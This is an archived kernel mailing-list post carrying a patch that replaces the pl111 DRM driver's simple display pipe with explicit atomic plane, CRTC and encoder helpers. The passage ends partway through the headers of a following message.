Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	qeewdBY9B/GoXx4wh8GHCfZpl3Bn2RXn06zKpHrow0s=; b=bLvR58BKlqOhSmYR
	GWZwh7RAaMqMue255wp2Ux0Os9VOxeZTTKB+ZxPySU6eFiW7ptjT3b3vdgETw6Jd
	5I947fjxQJDg/XrP4LXewlGPDfkNLfXj7mTxRKCdL6xeN/5VUZXXu70dBIH6VF4M
	vEAqNimBJaFsBPVH580f4bNI6/oHvXzoi1q5GHo/74VpLiQfryAKkNpALUWKrKKi
	lvjTgd7dkMAiZOSDtM3dX1XAgaypnJoWr9VA7uycRiP6EF2yiseN2j1pALBmIuq8
	aSzmjLQ8i3hGYowHvMb9Iz2eUDnGL8p6GAbRS+lTM2RvEbLelhiecOA5MlLsGH+5
	fsNVbA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783189990; x=1783794790; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:from:to:cc:subject:date:message-id
         :reply-to;
        bh=qeewdBY9B/GoXx4wh8GHCfZpl3Bn2RXn06zKpHrow0s=;
        b=CbbbHEocYWuuInLgU3rrXvu9OKwVvzSvVcDmTCIj0rHvAAxdYEw8bUagzTxLTp+5kP
         krZm15NS7LIXWn3W+bUP6vPaA7V0fkfVv954ihc56rRQ+XQ4ICMm8eEXopWkC68wbrp0
         uR4H+y6PowtBUO14xV7cLDxRYA+7d+TUKnVXjHhKTAgsClnEx3REnItXVHatC9JabTw8
         BBqm4FmZDLe+aswmnbbLrZjRsJRMK4G4W1yrCwjB+UgnIBv1yi8hOiLS0nH8dJ4Hu1fA
         pspmez9OQ29yQdSkWl+a6ieTQWcTzVD/PYajAIQTbILf2AogTAup9RhNPNvS8eTPkJw3
         v1vQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783189990; x=1783794790;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:x-gm-gg:x-gm-message-state:from:to
         :cc:subject:date:message-id:reply-to;
        bh=qeewdBY9B/GoXx4wh8GHCfZpl3Bn2RXn06zKpHrow0s=;
        b=rMJXeANjEKPAIw6Z2Prflmup6jmG80d3O+Y9XCmADJFdu4mb7dKGWRWosoML3RkVJU
         VRioVtyjoVZxq5u3FkujxboR+AFb3IV2BHxn5BPbTjcwhfGtHMvSboZyxTRgy8bZ2jfL
         g8iKOj3vFmC1+sP0rPfBuXMiVPjRWIAfjk9HuGtSm7CmuTCoJXmtmUfeWS3f61Pw4Yc5
         S2lN0gOlBPRjs44eHXCehnBPzyLYd22osR8XIRON7XJCUyzRVLZamYgWVS3id2vTz5uX
         NdRkKNQvVYkzE/wx2WQME55r2wIfYhmDpYCYEzkgiOYdWkrc/QaebLuryU8j9njvS/0N
         FmLw==
X-Forwarded-Encrypted: i=1; AFNElJ+yiDt6AEqniuAeCPGxk3AOmjq7A/RsDstM8r1mj+az6h2m/HLbGf9V7Z9IAPWjc4fcDdte1USALRA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzWJyZIA1CB0d87yJF63f02XbKKabu+5UNzrlMj7I0XIyAxrkas
	NblRFkqwIcjRDDKvOFtMELVUZiygh2kp7O7vB/3FK65Le2bqUyf/S8v3PdphX/QPA6EvtcrjBqb
	5gKQ0avlKFPwyYQVYuNDqoNenOq3Ru91a1+U4G5VoK9ildYx9RbCZP6CWP7kfwmX/1NiGlw==
X-Gm-Gg: AfdE7cmMTP+StoXUyiGhT64lznpBheMDe/8/EDP7rtxIboTAzpQ7+196jSLsD+4ABG1
	3nCQs4E8QY0ufHl8D/1PUroObFCV3SCFalzwdsShm893bvd6uOS6P4+dgt5YFqehuoOFODJV4V2
	kStUZhf5YU5WDd9ez06gx+hIZjurL9lZiqUafxCL2gAbdgeLenKvzOx8fGfiJ6QWhqzqFyhfg4n
	WOs1PuN3RGrT8DXA/fbharxmYebcXOT8kprIroIUueOn2DItN/SgcSYN0OAYIfV93sZT78uxSy1
	4ofAhe0s8DSi7DEtIQ6I+vYunZE/VThz5SWANxJxwzxW3+eyG1+cH6s2RTXyJiRk2B3FqwbVAEp
	2GLQbsFuqMQtNrJm7syXAg6g=
X-Received: by 2002:a05:6a00:2e9f:b0:847:8791:f54f with SMTP id d2e1a72fcca58-847f86eaa41mr3109140b3a.29.1783189989794;
        Sat, 04 Jul 2026 11:33:09 -0700 (PDT)
X-Received: by 2002:a05:6a00:2e9f:b0:847:8791:f54f with SMTP id d2e1a72fcca58-847f86eaa41mr3109120b3a.29.1783189989281;
        Sat, 04 Jul 2026 11:33:09 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Sun, 05 Jul 2026 02:31:14 +0800
Subject: [PATCH 5/9] drm/pl111: replace struct drm_simple_display_pipe with
 regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260705-drm-simple-kms-removal-v1-5-b4e1ca053623@oss.qualcomm.com>
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
In-Reply-To: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=ed25519-sha256; t=1783189912; l=11040;
 i=ze.huang@oss.qualcomm.com; s=20260704; h=from:subject:message-id;
 bh=UIMnAJmAsHNwzG3sUZoBE/LPKERzVi4sWM5J738IWxI=;
 b=RA4hDvGQcIHiHVgB2nIPn7/+tx2Alt8IiBFpU/Uf0g/qT5hFfsIN9rsVXLuWJcPpHLAeWBSzR
 q+gEaxP+EW5CPiUrPHYeBUiOXsCRtxFFrHUtMoJ7EySIxRCwYIyPTDI
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=pSsISLZF2ubEjJRmslsa6Ps4W3yAuPY7yaircQTlQQU=
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzA0MDE5MiBTYWx0ZWRfXyj2XBHjxsdp7
 cRrZRrcEmDOMVfYnlsfwaLh8xqNNgLWRS1f1JBQMMKAKCuD5mB74PG3VN178pHxxQ/yrOwBXVh5
 ZKH5dLQqYP8Epofx07/o7tFUcjKY4fA=
X-Proofpoint-ORIG-GUID: km3Sa1EavHqbdMPf7St_vLt68Kdeuksc
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzA0MDE5MiBTYWx0ZWRfXwc9LIPuG8sih
 lNdT4Rvxe95CgFfSsOlZt0xeCuBiPygxhLy5vANZIISSStXbGca6oqkTbXJXM1RBsKw4GvnTtwh
 26lC7BChf4dCDQ7ckiI4HJoyv0i/uQhjBKociHfUnIBnnwMjDPCR9Hz1Z9IgdRGqOxvXhhokyIp
 +dTN5XD0jLH1mPU4yu8evIlBb9/BLdzA3FAiK3OeDv/IMVKBL/Fb1LmS1nvy4qyJlmdJf0Fuz8a
 0veSRCjXG7mz1V7qODDNdUgzMJHayddJBWTkKEju8onULXSOXPS/9Z2BO2zKdOgwYxmD9gnyp9r
 ewclLbzewyRrvpc9uCi0T9Yeaxv3L99D/qOCdyaS2EAaioPcPNDt2S3PD0Ha3/z0QhPfn0S34vf
 8FsnFl946QvQWZuRLMGPkPW6zeY6V44p1Wybkls7SMu5NH5OxEqXA+Gob1CbWAYpzBRIg0r5fOJ
 V5/PafsPc7IQq+nIOfA==
X-Proofpoint-GUID: km3Sa1EavHqbdMPf7St_vLt68Kdeuksc
X-Authority-Analysis: v=2.4 cv=ZfQt8MVA c=1 sm=1 tr=0 ts=6a4951e6 cx=c_pps
 a=WW5sKcV1LcKqjgzy2JUPuA==:117 a=cNux22OjBTKCC6TmznXXXA==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=Um2Pa8k9VHT-vaBCBUpS:22
 a=EUspDBNiAAAA:8 a=zKtxPG1kur982WRNNmIA:9 a=QEXdDO2ut3YA:10
 a=OpyuDcXvxspvyRM73sMx:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.125,FMLib:17.12.100.49
 definitions=2026-07-04_02,2026-07-03_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 lowpriorityscore=0 bulkscore=0 impostorscore=0 adultscore=0 phishscore=0
 priorityscore=1501 clxscore=1015 suspectscore=0 malwarescore=0 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607040192
X-purgate-ID: tlsNG-720697/1783189993-4DB0F7C5-7947A7B8/0/0
X-purgate-type: clean
X-purgate-size: 11042

Replace PL111 simple display pipe with explicit plane, CRTC and encoder
objects.

Keep existing hardware programming and vblank behavior, and install GEM
framebuffer prepare helper explicitly.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/pl111/pl111_display.c | 174 ++++++++++++++++++++++++++--------
 drivers/gpu/drm/pl111/pl111_drm.h     |   5 +-
 drivers/gpu/drm/pl111/pl111_drv.c     |   3 +-
 3 files changed, 136 insertions(+), 46 deletions(-)

diff --git a/drivers/gpu/drm/pl111/pl111_display.c b/drivers/gpu/drm/pl111/pl111_display.c
index 5d10bc5fdf1f..b1bdd4c9dbe6 100644
--- a/drivers/gpu/drm/pl111/pl111_display.c
+++ b/drivers/gpu/drm/pl111/pl111_display.c
@@ -15,6 +15,7 @@
 #include <linux/media-bus-format.h>
 #include <linux/of_graph.h>
 
+#include <drm/drm_atomic_helper.h>
 #include <drm/drm_fb_dma_helper.h>
 #include <drm/drm_fourcc.h>
 #include <drm/drm_framebuffer.h>
@@ -37,7 +38,7 @@ irqreturn_t pl111_irq(int irq, void *data)
 		return IRQ_NONE;
 
 	if (irq_stat & CLCD_IRQ_NEXTBASE_UPDATE) {
-		drm_crtc_handle_vblank(&priv->pipe.crtc);
+		drm_crtc_handle_vblank(&priv->crtc);
 
 		status = IRQ_HANDLED;
 	}
@@ -49,10 +50,10 @@ irqreturn_t pl111_irq(int irq, void *data)
 }
 
 static enum drm_mode_status
-pl111_mode_valid(struct drm_simple_display_pipe *pipe,
-		 const struct drm_display_mode *mode)
+pl111_crtc_helper_mode_valid(struct drm_crtc *crtc,
+			     const struct drm_display_mode *mode)
 {
-	struct drm_device *drm = pipe->crtc.dev;
+	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 	u32 cpp = DIV_ROUND_UP(priv->variant->fb_depth, 8);
 	u64 bw;
@@ -83,13 +84,35 @@ pl111_mode_valid(struct drm_simple_display_pipe *pipe,
 	return MODE_OK;
 }
 
-static int pl111_display_check(struct drm_simple_display_pipe *pipe,
-			       struct drm_plane_state *pstate,
-			       struct drm_crtc_state *cstate)
+static int pl111_plane_helper_atomic_check(struct drm_plane *plane,
+					   struct drm_atomic_commit *state)
 {
-	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *old_fb = pipe->plane.state->fb;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(state, plane);
+	struct drm_crtc *crtc = pstate->crtc;
+	struct drm_crtc_state *cstate;
+	const struct drm_display_mode *mode;
+	struct drm_framebuffer *old_fb = plane->state->fb;
 	struct drm_framebuffer *fb = pstate->fb;
+	int ret;
+
+	if (!crtc)
+		return 0;
+
+	cstate = drm_atomic_get_new_crtc_state(state, crtc);
+	if (!cstate)
+		return 0;
+
+	ret = drm_atomic_helper_check_plane_state(pstate, cstate,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	if (ret)
+		return ret;
+
+	if (!pstate->visible)
+		return 0;
+
+	mode = &cstate->mode;
 
 	if (mode->hdisplay % 16)
 		return -EINVAL;
@@ -117,16 +140,14 @@ static int pl111_display_check(struct drm_simple_display_pipe *pipe,
 	return 0;
 }
 
-static void pl111_display_enable(struct drm_simple_display_pipe *pipe,
-				 struct drm_crtc_state *cstate,
-				 struct drm_plane_state *plane_state)
+static void pl111_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					    struct drm_atomic_commit *state)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_plane *plane = &pipe->plane;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
+	struct drm_crtc_state *cstate = crtc->state;
 	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *fb = plane->state->fb;
+	struct drm_framebuffer *fb = priv->plane.state->fb;
 	struct drm_connector *connector = priv->connector;
 	struct drm_bridge *bridge = priv->bridge;
 	bool grayscale = false;
@@ -355,9 +376,9 @@ static void pl111_display_enable(struct drm_simple_display_pipe *pipe,
 		drm_crtc_vblank_on(crtc);
 }
 
-static void pl111_display_disable(struct drm_simple_display_pipe *pipe)
+static void pl111_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *state)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 	u32 cntl;
@@ -387,17 +408,23 @@ static void pl111_display_disable(struct drm_simple_display_pipe *pipe)
 	clk_disable_unprepare(priv->clk);
 }
 
-static void pl111_display_update(struct drm_simple_display_pipe *pipe,
-				 struct drm_plane_state *old_pstate)
+static void pl111_plane_helper_atomic_update(struct drm_plane *plane,
+					     struct drm_atomic_commit *state)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_device *drm = crtc->dev;
-	struct pl111_drm_dev_private *priv = drm->dev_private;
-	struct drm_pending_vblank_event *event = crtc->state->event;
-	struct drm_plane *plane = &pipe->plane;
+	struct drm_crtc *crtc = plane->state->crtc;
+	struct drm_device *drm;
+	struct pl111_drm_dev_private *priv;
+	struct drm_pending_vblank_event *event;
 	struct drm_plane_state *pstate = plane->state;
 	struct drm_framebuffer *fb = pstate->fb;
 
+	if (!crtc)
+		return;
+
+	drm = crtc->dev;
+	priv = drm->dev_private;
+	event = crtc->state->event;
+
 	if (fb) {
 		u32 addr = drm_fb_dma_get_gem_addr(fb, pstate, 0);
 
@@ -416,9 +443,8 @@ static void pl111_display_update(struct drm_simple_display_pipe *pipe,
 	}
 }
 
-static int pl111_display_enable_vblank(struct drm_simple_display_pipe *pipe)
+static int pl111_display_enable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 
@@ -427,21 +453,63 @@ static int pl111_display_enable_vblank(struct drm_simple_display_pipe *pipe)
 	return 0;
 }
 
-static void pl111_display_disable_vblank(struct drm_simple_display_pipe *pipe)
+static void pl111_display_disable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 
 	writel(0, priv->regs + priv->ienb);
 }
 
-static struct drm_simple_display_pipe_funcs pl111_display_funcs = {
-	.mode_valid = pl111_mode_valid,
-	.check = pl111_display_check,
-	.enable = pl111_display_enable,
-	.disable = pl111_display_disable,
-	.update = pl111_display_update,
+static int pl111_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *state)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
+	int ret;
+
+	if (!crtc_state->enable)
+		goto out;
+
+	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+	if (ret)
+		return ret;
+
+out:
+	return drm_atomic_add_affected_planes(state, crtc);
+}
+
+static struct drm_crtc_funcs pl111_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_crtc_helper_funcs pl111_crtc_helper_funcs = {
+	.mode_valid	= pl111_crtc_helper_mode_valid,
+	.atomic_check	= pl111_crtc_helper_atomic_check,
+	.atomic_enable	= pl111_crtc_helper_atomic_enable,
+	.atomic_disable	= pl111_crtc_helper_atomic_disable,
+};
+
+static const struct drm_plane_funcs pl111_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.reset			= drm_atomic_helper_plane_reset,
+	.destroy		= drm_plane_cleanup,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static const struct drm_plane_helper_funcs pl111_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= pl111_plane_helper_atomic_check,
+	.atomic_update	= pl111_plane_helper_atomic_update,
+};
+
+static const struct drm_encoder_funcs pl111_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static int pl111_clk_div_choose_div(struct clk_hw *hw, unsigned long rate,
@@ -583,18 +651,40 @@ int pl111_display_init(struct drm_device *drm)
 		return ret;
 
 	if (!priv->variant->broken_vblank) {
-		pl111_display_funcs.enable_vblank = pl111_display_enable_vblank;
-		pl111_display_funcs.disable_vblank = pl111_display_disable_vblank;
+		pl111_crtc_funcs.enable_vblank = pl111_display_enable_vblank;
+		pl111_crtc_funcs.disable_vblank = pl111_display_disable_vblank;
 	}
 
-	ret = drm_simple_display_pipe_init(drm, &priv->pipe,
-					   &pl111_display_funcs,
-					   priv->variant->formats,
-					   priv->variant->nformats,
-					   NULL,
-					   priv->connector);
+	ret = drm_universal_plane_init(drm, &priv->plane, 0,
+				       &pl111_plane_funcs,
+				       priv->variant->formats,
+				       priv->variant->nformats,
+				       NULL, DRM_PLANE_TYPE_PRIMARY, NULL);
 	if (ret)
 		return ret;
 
+	drm_plane_helper_add(&priv->plane, &pl111_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, &priv->crtc, &priv->plane,
+					NULL, &pl111_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+
+	drm_crtc_helper_add(&priv->crtc, &pl111_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, &priv->encoder, &pl111_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+
+	priv->encoder.possible_crtcs = drm_crtc_mask(&priv->crtc);
+
+	if (priv->connector) {
+		ret = drm_connector_attach_encoder(priv->connector,
+						   &priv->encoder);
+		if (ret)
+			return ret;
+	}
+
 	return 0;
 }
diff --git a/drivers/gpu/drm/pl111/pl111_drm.h b/drivers/gpu/drm/pl111/pl111_drm.h
index d1fe756444ee..ec92a5a180a8 100644
--- a/drivers/gpu/drm/pl111/pl111_drm.h
+++ b/drivers/gpu/drm/pl111/pl111_drm.h
@@ -21,7 +21,6 @@
 #include <drm/drm_encoder.h>
 #include <drm/drm_gem.h>
 #include <drm/drm_panel.h>
-#include <drm/drm_simple_kms_helper.h>
 
 /*
  * CLCD Controller Internal Register addresses
@@ -135,7 +134,9 @@ struct pl111_drm_dev_private {
 	struct drm_connector *connector;
 	struct drm_panel *panel;
 	struct drm_bridge *bridge;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 
 	void *regs;
 	u32 memory_bw;
diff --git a/drivers/gpu/drm/pl111/pl111_drv.c b/drivers/gpu/drm/pl111/pl111_drv.c
index ac7b1d12a0f5..f649c266c33a 100644
--- a/drivers/gpu/drm/pl111/pl111_drv.c
+++ b/drivers/gpu/drm/pl111/pl111_drv.c
@@ -168,8 +168,7 @@ static int pl111_modeset_init(struct drm_device *dev)
 		goto out_bridge;
 	}
 
-	ret = drm_simple_display_pipe_attach_bridge(&priv->pipe,
-						    bridge);
+	ret = drm_bridge_attach(&priv->encoder, bridge, NULL, 0);
 	if (ret)
 		return ret;
 

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 05 15:29:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 05 Jul 2026 15:29:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1354806.1609842 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgOmS-00073r-7m; Sun, 05 Jul 2026 15:29:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1354806.1609842; Sun, 05 Jul 2026 15:29:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgOmS-00073k-57; Sun, 05 Jul 2026 15:29:16 +0000
Received: by outflank-mailman (input) for mailman id 1354806;
 Sun, 05 Jul 2026 11:56:44 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <doruk@0sec.ai>) id 1wgLSm-0008E4-PN
 for xen-devel@lists.xenproject.org; Sun, 05 Jul 2026 11:56:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgLSl-00G2oW-Tq
 for xen-devel@lists.xenproject.org; Sun, 05 Jul 2026 13:56:44 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <doruk@0sec.ai>)
 id 6a4a4618-bab6-0a2a0a5309dd-0a2a45029554-36
 for <xen-devel@lists.xenproject.org>; Sun, 05 Jul 2026 13:56:43 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <doruk@0sec.ai>)
 id 6a4a467a-5a27-0a2a45020019-d155dd2bc179-3
 for <xen-devel@lists.xenproject.org>; Sun, 05 Jul 2026 13:56:42 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-47d6c634f45so256336f8f.3
 for <xen-devel@lists.xenproject.org>; Sun, 05 Jul 2026 04:56:42 -0700 (PDT)
Received: from PeakBook-Mini.tail8e484.ts.net ([178.197.219.178])
 by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9e4d83bdsm15695537f8f.13.2026.07.05.04.56.40
 (version=TLS1_3 cipher=TLS_CHACHA20_POLY1305_SHA256 bits=256/256);
 Sun, 05 Jul 2026 04:56:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=google header.d=0sec.ai header.i="@0sec.ai"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=0sec.ai; s=google; t=1783252602; x=1783857402; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to;
        bh=pwRuSlbR797Mkzk8fZcr08AJmiX5cll2qBttTfovZeo=;
        b=KBAhfMRz85ezx70BOLacSIb0iSY3F1afq8ZMvF2StkinaXKtbFNmU8n9QN1X8VDLwS
         SjbQz62sOPDBGbHY6SueGULuLoo8aIMZJrkeRq6UG9AD00biu2RCgD/Cz0ft1+SJW4jo
         PXWHew/B4C1PvrzXxG/5Xjvjk9i1lo+IxLZDRs+gKSWjPVn58gwjAt4qm6LNqrBUiIpE
         CYaQfvUVzrNDAvuGinr5mjHjHSpzwbe1vf+JQ7EPFwTTPUTRk9zHb4cEmbRuiJre513S
         JWFpOaH33ubTr12J3p4SIvCYUsGgclNOy/1CVV95G0MbcmcrrL07UU+9JDBI5iBYT4iI
         fteg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783252602; x=1783857402;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=pwRuSlbR797Mkzk8fZcr08AJmiX5cll2qBttTfovZeo=;
        b=Y9W2rt3wdwOq7o/LipK3meraKL2M2pIYHb9v2uSFdqxrv42F5w+W5MJUmQHUEqChj3
         DC4LKZJ3ZiaT/Fe6M5Cg85Jw9LD8XEEgneA8tJcmdkPlL/Hccj4th1Rr5U3DBJvBVFCy
         A+iqxcMHCEfrXQBqbm828w/7JKqSPweLuQTN8DmiQJtilD95dwIyMMQJecUSY2nArzeb
         9LRh1LCMkY6M0Jexsx2mJ04tNsL/MFUiBYRzbAJnDiCQgOwGhyktfqSIjCOxzGejA9ZU
         l18dnx5owsC94Ggg35Mtr5xBSEOa5usYhpoAsibv408xjtfPKPSVJeeHr0BBOsnsatLC
         Xzvw==
X-Forwarded-Encrypted: i=1; AHgh+RoKTo+X3uPrWvGfR3cCRIbIxhy9wsSw1/VtVoVKNauqPaRlljEwEBb1p5d18GeSIytBKvu/9IN+RJU=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwP21lGwquS0/AsBoh3ovmeF60vWX1BJs/t/oywDjDz53MEJjQu
	4AwDCbjxFnNSHf0pYHwxuknynvIecLllyMx+Fv6QOfEe+hYU6PR+LCXy1NABuT/QKX3a
X-Gm-Gg: AfdE7cmfJiqRu+UyBtXrtxHDUR+0IMXxcI3ntWzUdf5qDb+QZnGK33hTBiybOi4htCD
	KEAvYa5rHJ3ync8cb5X7LFE1pIGXNj7yyCU+mNW/Bpksho1WJRNU+NnTgU2il9ruMBeDMmGuE4X
	iXPj/mp1dA5+oWlonDBj6ck73f9uWMoqL5S22s81vaUX/HPk5ZMs4Eko/fT42BQA+9m95Wva2OC
	E5N9iK/H57HCBqH4LmGHCQ/qU4KGbcGI+8eAboiCmUUtCjrmHfRpF6kX4/gNJSx4/zRbMVxrwJw
	bp6eIAcnqKKrYFx8LOtwnhiMEOB75Y/7AG85wmeXu76PNJRizuxs1U1Tu0SGfmOPyHdkVAi25Kq
	JFeMNaPgsEL8LdSUvTFQZTDWEc7bXFospme0H+wsVYF+01/OWoDdpU7Nnf61/HECTXS5FlB6oyH
	BKkqKB5K/slSHrxAbqwgwKM7QqdNdUUz8AWih00xBeod/8Fu0UOlnnyk5/HL1MYKXzHOTqhi/6V
	Q3gZPcr6z5aCpGklN/omi4Pc2Rz3Gg9lh0=
X-Received: by 2002:a05:6000:1818:b0:475:f0c2:5afb with SMTP id ffacd0b85a97d-47aad07e091mr5521587f8f.49.1783252601779;
        Sun, 05 Jul 2026 04:56:41 -0700 (PDT)
From: Doruk Tan Ozturk <doruk@0sec.ai>
To: =?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Juergen Gross <jgross@suse.com>
Cc: Stefano Stabellini <sstabellini@kernel.org>,
	Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>,
	Jens Axboe <axboe@kernel.dk>,
	xen-devel@lists.xenproject.org,
